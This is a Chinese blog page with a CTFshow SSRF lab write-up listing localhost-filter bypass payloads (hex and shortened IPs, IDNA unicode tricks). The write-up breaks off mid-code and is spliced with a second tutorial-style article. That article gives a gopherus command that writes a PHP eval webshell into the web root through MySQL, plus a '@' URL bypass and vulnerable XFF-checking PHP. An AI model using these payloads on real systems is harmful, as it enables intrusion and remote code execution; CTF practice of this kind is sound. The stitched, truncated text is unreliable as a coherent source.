CTFshow-WEB入门-SSRF

本文探讨了SSRF学习过程中的各种技巧,如进制绕过、特殊地址利用、域名重定向、IDNA编码限制突破、URL协议和路径限制,以及利用DNS重绑定和302跳转进行攻击。重点介绍了如何通过Python工具Gopherus和手动编码实现RCE和Redis Shell写入。

前言

开始学习SSRF,学习文章:
SSRF 学习记录(需要fq)
比较简单的题目就直接放payload了,不做解释。

web351

url=http://127.0.0.1/flag.php

web352

scheme必须是http或者https,但是不能有127.0.0.1或者localhost。这个绕过技巧很多了,列具一些常用的吧:

  • 进制绕过 url=http://0x7F000001/flag.php
  • 0.0.0.0绕过 url=http://0.0.0.0/flag.php
  • 短标签绕过,但是这题我测试失败了,可能是我短标签的问题?
  • ipv6绕过[::1],这题也不行。
  • 使用句号绕过:url=http://127。0。0。1/flag.php,这题也不行。
  • 特殊的地址0,url=http://0/flag.php,还有url=http://127.1/flag.php,还有url=http://127.0000000000000.001/flag.php这样的。
  • dns重绑定其实也能用在这里,不过这题好像不行?不知道是不是我DNS的那个有问题。
  • 可能还有吧,想到了再补上。

web353

同上。

web354

把0和1都给ban了就不知道该怎么办了,看了一下yu师傅的博客,这题的本意是unicode的替换:

for i in range(128,65537):
    tmp=chr(i)
    try:
        res = tmp.encode('idna').decode('utf-8')
        #print(res)
        if("-") in res:
            continue
        print
### CTFShow Web 入门 SSRF 漏洞 教程 #### 什么是SSRF漏洞 SSRF (Server-Side Request Forgery, 服务器端请求伪造)是一种安全漏洞,允许攻击者构造特定形式的数据输入使服务端发起恶意构建的请求。通常这类攻击旨在让目标服务器访问内网资源或其他受保护的服务接口,这些资源通常是外部网络不可达的[^1]。 #### 利用Gopher协议针对MySQL数据库实施SSRF攻击实例 对于某些场景下的CTF练习环境而言,可能存在未设置密码的MySQL数据库。通过抓取数据包并分析其中的内容可以发现`reurl`参数表现异常,暗示着这里可能存在着可被利用的SSRF缺陷。为了验证这一点以及进一步探索潜在的安全风险,可以通过gopher协议配合专门设计用于辅助测试此类问题的应用程序——比如`gopherus`工具来生成相应的载荷(payload),进而尝试连接至本地运行的MySQL服务,并执行指定命令创建webshell文件以便后续操作[^2]。 ```bash python2 gopherus.py --exploit mysql root select '<?php eval($_POST[cmd]);?>' into outfile '/var/www/html/4.php' ``` 此段Python脚本调用了`gopherus`库中的功能函数,目的是向位于同一台机器上的MySQL数据库发送SQL语句,在/var/www/html目录下写入含有PHP代码的小型网页文件(`4.php`),该页面接收远程传来的指令并予以解析执行,从而实现反序列化后的任意代码注入效果。 #### 构造特殊URL绕过IP白名单限制 当面对严格控制客户端来源地址的应用逻辑时,巧妙运用字符串拼接技巧同样能达成突破目的。例如下面给出了一种方法,即构造形似正常业务流量却暗藏玄机的HTTP GET请求路径: ```plaintext http://ctf.@127.0.0.1/flag.php?show ``` 上述链接表面上看像是指向了一个名为`ctf.show`网站内的某个子页面;但实际上由于中间夹杂了非法字符(@),使得最终实际发出的有效部分变成了对localhost上部署有`flag.php`脚本位置的一次探测行为。这正好满足了题目所给定条件:正则表达式要求以`http://ctf.`开头以`.show`结尾[^3]。 #### 分析基于XFF头字段的身份认证机制弱点 考虑到一些Web应用程序可能会依赖于HTTP头部信息来进行用户身份识别工作,则有必要深入研究其具体处理流程是否存在安全隐患。如下所示是一份简化版伪代码片段,描述了一个简单但容易受到操纵影响的过程: ```php $xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); array_pop($xff); $ip = array_pop($xff); if ($ip !== '127.0.0.1') { die('error'); } else { $token = $_POST['token']; if ($token === 'ctfshow') { file_put_contents('flag.txt', $flag); } } ``` 这段PHP代码首先获取到了HTTP请求中携带的`X-Forwarded-For`(简称XFF)首部项值列表,接着从中提取倒数第二个元素作为当前用户的公网出口IP地址表示。如果这个值不是代表回环适配器的IPv4地址(也就是常说的“localhost”),那么就拒绝继续向下执行任何敏感动作;反之则会检查另一个表单变量`token`是否匹配预设密钥串,一旦成功便触发保存FLAG文本的操作。然而值得注意的是,这种方式很容易遭到伪造篡改,因为大多数情况下浏览器是可以随意修改自定义HTTP头部内容而不必经过服务器授权确认环节[^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值